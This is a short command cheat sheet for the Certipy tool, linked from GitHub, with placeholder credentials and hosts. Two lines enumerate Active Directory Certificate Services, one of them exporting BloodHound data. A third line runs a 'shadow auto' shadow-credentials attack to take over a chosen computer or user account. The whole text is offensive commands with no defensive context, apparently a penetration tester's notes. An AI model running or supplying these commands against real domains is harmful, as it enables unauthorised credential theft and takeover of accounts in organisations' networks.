https://github.com/ly4k/Certipy
certipy find '<domain>/<user>:<password>@<domainController>'
certipy find '<domain>/<user>:<password>@<domainController>' -bloodhound
certipy shadow auto '<domain>/<user>:<password>'@<certificateAuthorityRhost> -account '<targetComputerOrUser>'